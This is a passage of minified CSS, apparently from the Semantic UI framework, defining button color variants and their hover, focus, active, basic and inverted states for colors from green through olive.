.basic.button:active{-webkit-box-shadow:0 0 0 2px #21b8ff inset!important;box-shadow:0 0 0 2px #21b8ff inset!important;color:#54c8ff!important}.ui.green.button,.ui.green.buttons .button{background-color:#21ba45;color:#fff;text-shadow:none;background-image:none}.ui.green.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.green.button:hover,.ui.green.buttons .button:hover{background-color:#16ab39;color:#fff;text-shadow:none}.ui.green.button:focus,.ui.green.buttons .button:focus{background-color:#0ea432;color:#fff;text-shadow:none}.ui.green.button:active,.ui.green.buttons .button:active{background-color:#198f35;color:#fff;text-shadow:none}.ui.green.active.button,.ui.green.button .active.button:active,.ui.green.buttons .active.button,.ui.green.buttons .active.button:active{background-color:#13ae38;color:#fff;text-shadow:none}.ui.basic.green.button,.ui.basic.green.buttons .button{-webkit-box-shadow:0 0 0 1px #21ba45 inset!important;box-shadow:0 0 0 1px #21ba45 inset!important;color:#21ba45!important}.ui.basic.green.button:hover,.ui.basic.green.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #16ab39 inset!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.green.button:focus,.ui.basic.green.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #0ea432 inset!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.green.active.button,.ui.basic.green.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #13ae38 inset!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.green.button:active,.ui.basic.green.buttons .button:active{-webkit-box-shadow:0 0 0 1px #198f35 inset!important;box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.buttons:not(.vertical)>.basic.green.button:not(:first-child){margin-left:-1px}.ui.inverted.green.button,.ui.inverted.green.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #2ecc40 inset!important;box-shadow:0 0 0 2px #2ecc40 inset!important;color:#2ecc40}.ui.inverted.green.button.active,.ui.inverted.green.button:active,.ui.inverted.green.button:focus,.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button.active,.ui.inverted.green.buttons .button:active,.ui.inverted.green.buttons .button:focus,.ui.inverted.green.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button:hover{background-color:#22be34}.ui.inverted.green.button:focus,.ui.inverted.green.buttons .button:focus{background-color:#19b82b}.ui.inverted.green.active.button,.ui.inverted.green.buttons .active.button{background-color:#1fc231}.ui.inverted.green.button:active,.ui.inverted.green.buttons .button:active{background-color:#25a233}.ui.inverted.green.basic.button,.ui.inverted.green.basic.buttons .button,.ui.inverted.green.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.green.basic.button:hover,.ui.inverted.green.basic.buttons .button:hover,.ui.inverted.green.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #22be34 inset!important;box-shadow:0 0 0 2px #22be34 inset!important;color:#2ecc40!important}.ui.inverted.green.basic.button:focus,.ui.inverted.green.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #19b82b inset!important;box-shadow:0 0 0 2px #19b82b inset!important;color:#2ecc40!important}.ui.inverted.green.basic.active.button,.ui.inverted.green.basic.buttons .active.button,.ui.inverted.green.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #1fc231 inset!important;box-shadow:0 0 0 2px #1fc231 inset!important;color:#2ecc40!important}.ui.inverted.green.basic.button:active,.ui.inverted.green.basic.buttons .button:active,.ui.inverted.green.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #25a233 inset!important;box-shadow:0 0 0 2px #25a233 inset!important;color:#2ecc40!important}.ui.orange.button,.ui.orange.buttons .button{background-color:#f2711c;color:#fff;text-shadow:none;background-image:none}.ui.orange.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.orange.button:hover,.ui.orange.buttons .button:hover{background-color:#f26202;color:#fff;text-shadow:none}.ui.orange.button:focus,.ui.orange.buttons .button:focus{background-color:#e55b00;color:#fff;text-shadow:none}.ui.orange.button:active,.ui.orange.buttons .button:active{background-color:#cf590c;color:#fff;text-shadow:none}.ui.orange.active.button,.ui.orange.button .active.button:active,.ui.orange.buttons .active.button,.ui.orange.buttons .active.button:active{background-color:#f56100;color:#fff;text-shadow:none}.ui.basic.orange.button,.ui.basic.orange.buttons .button{-webkit-box-shadow:0 0 0 1px #f2711c inset!important;box-shadow:0 0 0 1px #f2711c inset!important;color:#f2711c!important}.ui.basic.orange.button:hover,.ui.basic.orange.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #f26202 inset!important;box-shadow:0 0 0 1px #f26202 inset!important;color:#f26202!important}.ui.basic.orange.button:focus,.ui.basic.orange.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #e55b00 inset!important;box-shadow:0 0 0 1px #e55b00 inset!important;color:#f26202!important}.ui.basic.orange.active.button,.ui.basic.orange.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #f56100 inset!important;box-shadow:0 0 0 1px #f56100 inset!important;color:#cf590c!important}.ui.basic.orange.button:active,.ui.basic.orange.buttons .button:active{-webkit-box-shadow:0 0 0 1px #cf590c inset!important;box-shadow:0 0 0 1px #cf590c inset!important;color:#cf590c!important}.ui.buttons:not(.vertical)>.basic.orange.button:not(:first-child){margin-left:-1px}.ui.inverted.orange.button,.ui.inverted.orange.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #ff851b inset!important;box-shadow:0 0 0 2px #ff851b inset!important;color:#ff851b}.ui.inverted.orange.button.active,.ui.inverted.orange.button:active,.ui.inverted.orange.button:focus,.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button.active,.ui.inverted.orange.buttons .button:active,.ui.inverted.orange.buttons .button:focus,.ui.inverted.orange.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button:hover{background-color:#ff7701}.ui.inverted.orange.button:focus,.ui.inverted.orange.buttons .button:focus{background-color:#f17000}.ui.inverted.orange.active.button,.ui.inverted.orange.buttons .active.button{background-color:#ff7701}.ui.inverted.orange.button:active,.ui.inverted.orange.buttons .button:active{background-color:#e76b00}.ui.inverted.orange.basic.button,.ui.inverted.orange.basic.buttons .button,.ui.inverted.orange.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.orange.basic.button:hover,.ui.inverted.orange.basic.buttons .button:hover,.ui.inverted.orange.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #ff7701 inset!important;box-shadow:0 0 0 2px #ff7701 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.button:focus,.ui.inverted.orange.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #f17000 inset!important;box-shadow:0 0 0 2px #f17000 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.active.button,.ui.inverted.orange.basic.buttons .active.button,.ui.inverted.orange.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #ff7701 inset!important;box-shadow:0 0 0 2px #ff7701 inset!important;color:#ff851b!important}.ui.inverted.orange.basic.button:active,.ui.inverted.orange.basic.buttons .button:active,.ui.inverted.orange.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #e76b00 inset!important;box-shadow:0 0 0 2px #e76b00 inset!important;color:#ff851b!important}.ui.pink.button,.ui.pink.buttons .button{background-color:#e03997;color:#fff;text-shadow:none;background-image:none}.ui.pink.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pink.button:hover,.ui.pink.buttons .button:hover{background-color:#e61a8d;color:#fff;text-shadow:none}.ui.pink.button:focus,.ui.pink.buttons .button:focus{background-color:#e10f85;color:#fff;text-shadow:none}.ui.pink.button:active,.ui.pink.buttons .button:active{background-color:#c71f7e;color:#fff;text-shadow:none}.ui.pink.active.button,.ui.pink.button .active.button:active,.ui.pink.buttons .active.button,.ui.pink.buttons .active.button:active{background-color:#ea158d;color:#fff;text-shadow:none}.ui.basic.pink.button,.ui.basic.pink.buttons .button{-webkit-box-shadow:0 0 0 1px #e03997 inset!important;box-shadow:0 0 0 1px #e03997 inset!important;color:#e03997!important}.ui.basic.pink.button:hover,.ui.basic.pink.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #e61a8d inset!important;box-shadow:0 0 0 1px #e61a8d inset!important;color:#e61a8d!important}.ui.basic.pink.button:focus,.ui.basic.pink.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #e10f85 inset!important;box-shadow:0 0 0 1px #e10f85 inset!important;color:#e61a8d!important}.ui.basic.pink.active.button,.ui.basic.pink.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #ea158d inset!important;box-shadow:0 0 0 1px #ea158d inset!important;color:#c71f7e!important}.ui.basic.pink.button:active,.ui.basic.pink.buttons .button:active{-webkit-box-shadow:0 0 0 1px #c71f7e inset!important;box-shadow:0 0 0 1px #c71f7e inset!important;color:#c71f7e!important}.ui.buttons:not(.vertical)>.basic.pink.button:not(:first-child){margin-left:-1px}.ui.inverted.pink.button,.ui.inverted.pink.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #ff8edf inset!important;box-shadow:0 0 0 2px #ff8edf inset!important;color:#ff8edf}.ui.inverted.pink.button.active,.ui.inverted.pink.button:active,.ui.inverted.pink.button:focus,.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button.active,.ui.inverted.pink.buttons .button:active,.ui.inverted.pink.buttons .button:focus,.ui.inverted.pink.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button:hover{background-color:#ff74d8}.ui.inverted.pink.button:focus,.ui.inverted.pink.buttons .button:focus{background-color:#ff65d3}.ui.inverted.pink.active.button,.ui.inverted.pink.buttons .active.button{background-color:#ff74d8}.ui.inverted.pink.button:active,.ui.inverted.pink.buttons .button:active{background-color:#ff5bd1}.ui.inverted.pink.basic.button,.ui.inverted.pink.basic.buttons .button,.ui.inverted.pink.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.pink.basic.button:hover,.ui.inverted.pink.basic.buttons .button:hover,.ui.inverted.pink.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #ff74d8 inset!important;box-shadow:0 0 0 2px #ff74d8 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.button:focus,.ui.inverted.pink.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #ff65d3 inset!important;box-shadow:0 0 0 2px #ff65d3 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.active.button,.ui.inverted.pink.basic.buttons .active.button,.ui.inverted.pink.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #ff74d8 inset!important;box-shadow:0 0 0 2px #ff74d8 inset!important;color:#ff8edf!important}.ui.inverted.pink.basic.button:active,.ui.inverted.pink.basic.buttons .button:active,.ui.inverted.pink.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #ff5bd1 inset!important;box-shadow:0 0 0 2px #ff5bd1 inset!important;color:#ff8edf!important}.ui.violet.button,.ui.violet.buttons .button{background-color:#6435c9;color:#fff;text-shadow:none;background-image:none}.ui.violet.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.violet.button:hover,.ui.violet.buttons .button:hover{background-color:#5829bb;color:#fff;text-shadow:none}.ui.violet.button:focus,.ui.violet.buttons .button:focus{background-color:#4f20b5;color:#fff;text-shadow:none}.ui.violet.button:active,.ui.violet.buttons .button:active{background-color:#502aa1;color:#fff;text-shadow:none}.ui.violet.active.button,.ui.violet.button .active.button:active,.ui.violet.buttons .active.button,.ui.violet.buttons .active.button:active{background-color:#5626bf;color:#fff;text-shadow:none}.ui.basic.violet.button,.ui.basic.violet.buttons .button{-webkit-box-shadow:0 0 0 1px #6435c9 inset!important;box-shadow:0 0 0 1px #6435c9 inset!important;color:#6435c9!important}.ui.basic.violet.button:hover,.ui.basic.violet.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #5829bb inset!important;box-shadow:0 0 0 1px #5829bb inset!important;color:#5829bb!important}.ui.basic.violet.button:focus,.ui.basic.violet.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #4f20b5 inset!important;box-shadow:0 0 0 1px #4f20b5 inset!important;color:#5829bb!important}.ui.basic.violet.active.button,.ui.basic.violet.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #5626bf inset!important;box-shadow:0 0 0 1px #5626bf inset!important;color:#502aa1!important}.ui.basic.violet.button:active,.ui.basic.violet.buttons .button:active{-webkit-box-shadow:0 0 0 1px #502aa1 inset!important;box-shadow:0 0 0 1px #502aa1 inset!important;color:#502aa1!important}.ui.buttons:not(.vertical)>.basic.violet.button:not(:first-child){margin-left:-1px}.ui.inverted.violet.button,.ui.inverted.violet.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #a291fb inset!important;box-shadow:0 0 0 2px #a291fb inset!important;color:#a291fb}.ui.inverted.violet.button.active,.ui.inverted.violet.button:active,.ui.inverted.violet.button:focus,.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button.active,.ui.inverted.violet.buttons .button:active,.ui.inverted.violet.buttons .button:focus,.ui.inverted.violet.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button:hover{background-color:#8a73ff}.ui.inverted.violet.button:focus,.ui.inverted.violet.buttons .button:focus{background-color:#7d64ff}.ui.inverted.violet.active.button,.ui.inverted.violet.buttons .active.button{background-color:#8a73ff}.ui.inverted.violet.button:active,.ui.inverted.violet.buttons .button:active{background-color:#7860f9}.ui.inverted.violet.basic.button,.ui.inverted.violet.basic.buttons .button,.ui.inverted.violet.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.violet.basic.button:hover,.ui.inverted.violet.basic.buttons .button:hover,.ui.inverted.violet.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #8a73ff inset!important;box-shadow:0 0 0 2px #8a73ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.button:focus,.ui.inverted.violet.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #7d64ff inset!important;box-shadow:0 0 0 2px #7d64ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.active.button,.ui.inverted.violet.basic.buttons .active.button,.ui.inverted.violet.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #8a73ff inset!important;box-shadow:0 0 0 2px #8a73ff inset!important;color:#a291fb!important}.ui.inverted.violet.basic.button:active,.ui.inverted.violet.basic.buttons .button:active,.ui.inverted.violet.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #7860f9 inset!important;box-shadow:0 0 0 2px #7860f9 inset!important;color:#a291fb!important}.ui.purple.button,.ui.purple.buttons .button{background-color:#a333c8;color:#fff;text-shadow:none;background-image:none}.ui.purple.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.purple.button:hover,.ui.purple.buttons .button:hover{background-color:#9627ba;color:#fff;text-shadow:none}.ui.purple.button:focus,.ui.purple.buttons .button:focus{background-color:#8f1eb4;color:#fff;text-shadow:none}.ui.purple.button:active,.ui.purple.buttons .button:active{background-color:#82299f;color:#fff;text-shadow:none}.ui.purple.active.button,.ui.purple.button .active.button:active,.ui.purple.buttons .active.button,.ui.purple.buttons .active.button:active{background-color:#9724be;color:#fff;text-shadow:none}.ui.basic.purple.button,.ui.basic.purple.buttons .button{-webkit-box-shadow:0 0 0 1px #a333c8 inset!important;box-shadow:0 0 0 1px #a333c8 inset!important;color:#a333c8!important}.ui.basic.purple.button:hover,.ui.basic.purple.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #9627ba inset!important;box-shadow:0 0 0 1px #9627ba inset!important;color:#9627ba!important}.ui.basic.purple.button:focus,.ui.basic.purple.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #8f1eb4 inset!important;box-shadow:0 0 0 1px #8f1eb4 inset!important;color:#9627ba!important}.ui.basic.purple.active.button,.ui.basic.purple.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #9724be inset!important;box-shadow:0 0 0 1px #9724be inset!important;color:#82299f!important}.ui.basic.purple.button:active,.ui.basic.purple.buttons .button:active{-webkit-box-shadow:0 0 0 1px #82299f inset!important;box-shadow:0 0 0 1px #82299f inset!important;color:#82299f!important}.ui.buttons:not(.vertical)>.basic.purple.button:not(:first-child){margin-left:-1px}.ui.inverted.purple.button,.ui.inverted.purple.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #dc73ff inset!important;box-shadow:0 0 0 2px #dc73ff inset!important;color:#dc73ff}.ui.inverted.purple.button.active,.ui.inverted.purple.button:active,.ui.inverted.purple.button:focus,.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button.active,.ui.inverted.purple.buttons .button:active,.ui.inverted.purple.buttons .button:focus,.ui.inverted.purple.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button:hover{background-color:#d65aff}.ui.inverted.purple.button:focus,.ui.inverted.purple.buttons .button:focus{background-color:#d24aff}.ui.inverted.purple.active.button,.ui.inverted.purple.buttons .active.button{background-color:#d65aff}.ui.inverted.purple.button:active,.ui.inverted.purple.buttons .button:active{background-color:#cf40ff}.ui.inverted.purple.basic.button,.ui.inverted.purple.basic.buttons .button,.ui.inverted.purple.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.purple.basic.button:hover,.ui.inverted.purple.basic.buttons .button:hover,.ui.inverted.purple.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #d65aff inset!important;box-shadow:0 0 0 2px #d65aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.button:focus,.ui.inverted.purple.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #d24aff inset!important;box-shadow:0 0 0 2px #d24aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.active.button,.ui.inverted.purple.basic.buttons .active.button,.ui.inverted.purple.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #d65aff inset!important;box-shadow:0 0 0 2px #d65aff inset!important;color:#dc73ff!important}.ui.inverted.purple.basic.button:active,.ui.inverted.purple.basic.buttons .button:active,.ui.inverted.purple.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #cf40ff inset!important;box-shadow:0 0 0 2px #cf40ff inset!important;color:#dc73ff!important}.ui.red.button,.ui.red.buttons .button{background-color:#db2828;color:#fff;text-shadow:none;background-image:none}.ui.red.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.red.button:hover,.ui.red.buttons .button:hover{background-color:#d01919;color:#fff;text-shadow:none}.ui.red.button:focus,.ui.red.buttons .button:focus{background-color:#ca1010;color:#fff;text-shadow:none}.ui.red.button:active,.ui.red.buttons .button:active{background-color:#b21e1e;color:#fff;text-shadow:none}.ui.red.active.button,.ui.red.button .active.button:active,.ui.red.buttons .active.button,.ui.red.buttons .active.button:active{background-color:#d41515;color:#fff;text-shadow:none}.ui.basic.red.button,.ui.basic.red.buttons .button{-webkit-box-shadow:0 0 0 1px #db2828 inset!important;box-shadow:0 0 0 1px #db2828 inset!important;color:#db2828!important}.ui.basic.red.button:hover,.ui.basic.red.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #d01919 inset!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.red.button:focus,.ui.basic.red.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #ca1010 inset!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.red.active.button,.ui.basic.red.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #d41515 inset!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.red.button:active,.ui.basic.red.buttons .button:active{-webkit-box-shadow:0 0 0 1px #b21e1e inset!important;box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.red.button:not(:first-child){margin-left:-1px}.ui.inverted.red.button,.ui.inverted.red.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #ff695e inset!important;box-shadow:0 0 0 2px #ff695e inset!important;color:#ff695e}.ui.inverted.red.button.active,.ui.inverted.red.button:active,.ui.inverted.red.button:focus,.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button.active,.ui.inverted.red.buttons .button:active,.ui.inverted.red.buttons .button:focus,.ui.inverted.red.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button:hover{background-color:#ff5144}.ui.inverted.red.button:focus,.ui.inverted.red.buttons .button:focus{background-color:#ff4335}.ui.inverted.red.active.button,.ui.inverted.red.buttons .active.button{background-color:#ff5144}.ui.inverted.red.button:active,.ui.inverted.red.buttons .button:active{background-color:#ff392b}.ui.inverted.red.basic.button,.ui.inverted.red.basic.buttons .button,.ui.inverted.red.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.red.basic.button:hover,.ui.inverted.red.basic.buttons .button:hover,.ui.inverted.red.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #ff5144 inset!important;box-shadow:0 0 0 2px #ff5144 inset!important;color:#ff695e!important}.ui.inverted.red.basic.button:focus,.ui.inverted.red.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #ff4335 inset!important;box-shadow:0 0 0 2px #ff4335 inset!important;color:#ff695e!important}.ui.inverted.red.basic.active.button,.ui.inverted.red.basic.buttons .active.button,.ui.inverted.red.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #ff5144 inset!important;box-shadow:0 0 0 2px #ff5144 inset!important;color:#ff695e!important}.ui.inverted.red.basic.button:active,.ui.inverted.red.basic.buttons .button:active,.ui.inverted.red.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #ff392b inset!important;box-shadow:0 0 0 2px #ff392b inset!important;color:#ff695e!important}.ui.teal.button,.ui.teal.buttons .button{background-color:#00b5ad;color:#fff;text-shadow:none;background-image:none}.ui.teal.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.teal.button:hover,.ui.teal.buttons .button:hover{background-color:#009c95;color:#fff;text-shadow:none}.ui.teal.button:focus,.ui.teal.buttons .button:focus{background-color:#008c86;color:#fff;text-shadow:none}.ui.teal.button:active,.ui.teal.buttons .button:active{background-color:#00827c;color:#fff;text-shadow:none}.ui.teal.active.button,.ui.teal.button .active.button:active,.ui.teal.buttons .active.button,.ui.teal.buttons .active.button:active{background-color:#009c95;color:#fff;text-shadow:none}.ui.basic.teal.button,.ui.basic.teal.buttons .button{-webkit-box-shadow:0 0 0 1px #00b5ad inset!important;box-shadow:0 0 0 1px #00b5ad inset!important;color:#00b5ad!important}.ui.basic.teal.button:hover,.ui.basic.teal.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #009c95 inset!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#009c95!important}.ui.basic.teal.button:focus,.ui.basic.teal.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #008c86 inset!important;box-shadow:0 0 0 1px #008c86 inset!important;color:#009c95!important}.ui.basic.teal.active.button,.ui.basic.teal.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #009c95 inset!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#00827c!important}.ui.basic.teal.button:active,.ui.basic.teal.buttons .button:active{-webkit-box-shadow:0 0 0 1px #00827c inset!important;box-shadow:0 0 0 1px #00827c inset!important;color:#00827c!important}.ui.buttons:not(.vertical)>.basic.teal.button:not(:first-child){margin-left:-1px}.ui.inverted.teal.button,.ui.inverted.teal.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #6dffff inset!important;box-shadow:0 0 0 2px #6dffff inset!important;color:#6dffff}.ui.inverted.teal.button.active,.ui.inverted.teal.button:active,.ui.inverted.teal.button:focus,.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button.active,.ui.inverted.teal.buttons .button:active,.ui.inverted.teal.buttons .button:focus,.ui.inverted.teal.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button:hover{background-color:#54ffff}.ui.inverted.teal.button:focus,.ui.inverted.teal.buttons .button:focus{background-color:#4ff}.ui.inverted.teal.active.button,.ui.inverted.teal.buttons .active.button{background-color:#54ffff}.ui.inverted.teal.button:active,.ui.inverted.teal.buttons .button:active{background-color:#3affff}.ui.inverted.teal.basic.button,.ui.inverted.teal.basic.buttons .button,.ui.inverted.teal.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.teal.basic.button:hover,.ui.inverted.teal.basic.buttons .button:hover,.ui.inverted.teal.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #54ffff inset!important;box-shadow:0 0 0 2px #54ffff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.button:focus,.ui.inverted.teal.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #4ff inset!important;box-shadow:0 0 0 2px #4ff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.active.button,.ui.inverted.teal.basic.buttons .active.button,.ui.inverted.teal.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #54ffff inset!important;box-shadow:0 0 0 2px #54ffff inset!important;color:#6dffff!important}.ui.inverted.teal.basic.button:active,.ui.inverted.teal.basic.buttons .button:active,.ui.inverted.teal.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #3affff inset!important;box-shadow:0 0 0 2px #3affff inset!important;color:#6dffff!important}.ui.olive.button,.ui.olive.buttons .button{background-color:#b5cc18;color:#fff;text-shadow:none;background-image:none}.ui.olive.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.olive.button:hover,.ui.olive.buttons .button:hover{background-color:#a7bd0d;color:#fff;text-shadow:none}.ui.olive.button:focus,.ui.olive.buttons .button:focus{background-color:#a0b605;color:#fff;text-shadow:none}.ui.olive.button:active,.ui.olive.buttons .button:active{background-color:#8d9e13;color:#fff;text-shadow:none}.ui.olive.active.button,.ui.olive.button .active.button:active,.ui.olive.buttons .active.button,.ui.olive.buttons .active.button:active{background-color:#aac109;color:#fff;text-shadow:none}.ui.basic.olive.button,.ui.basic.olive.buttons .button{-webkit-box-shadow:0 0 0 1px #b5cc18 inset!important;box-shadow:0 0 0 1px #b5cc18 inset!important;color:#b5cc18!important}.ui.basic.olive.button:hover,.ui.basic.olive.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #a7bd0d inset!important;box-shadow:0 0 0 1px #a7bd0d inset!important;color:#a7bd0d!important}.ui.basic.olive.button:focus,.ui.basic.olive.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #a0b605 inset!important;box-shadow:0 0 0 1px #a0b605 inset!important;color:#a7bd0d!important}.ui.basic.olive.active.button,.ui.basic.olive.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #aac109 inset!important;box-shadow:0 0 0 1px #aac109 inset!important;color:#8d9e13!important}.ui.basic.olive.button:active,.ui.basic.olive.buttons .button:active{-webkit-box-shadow:0 0 0 1px #8d9e13 inset!important;box-shadow:0 0 0 1px #8d9e13 inset!important;color:#8d9e13!important}.ui.buttons:not(.vertical)>.basic.olive.button:not(:first-child){margin-left:-1px}.ui.inverted.olive.button,.ui.inverted.olive.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #d9e778 inset!important;box-shadow:0 0 0 2px #d9e778 inset!important;color:#d9e778}.ui.inverted.olive.button.active,.ui.inverted.olive.button:active,.ui.inverted.olive.button:focus,.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons 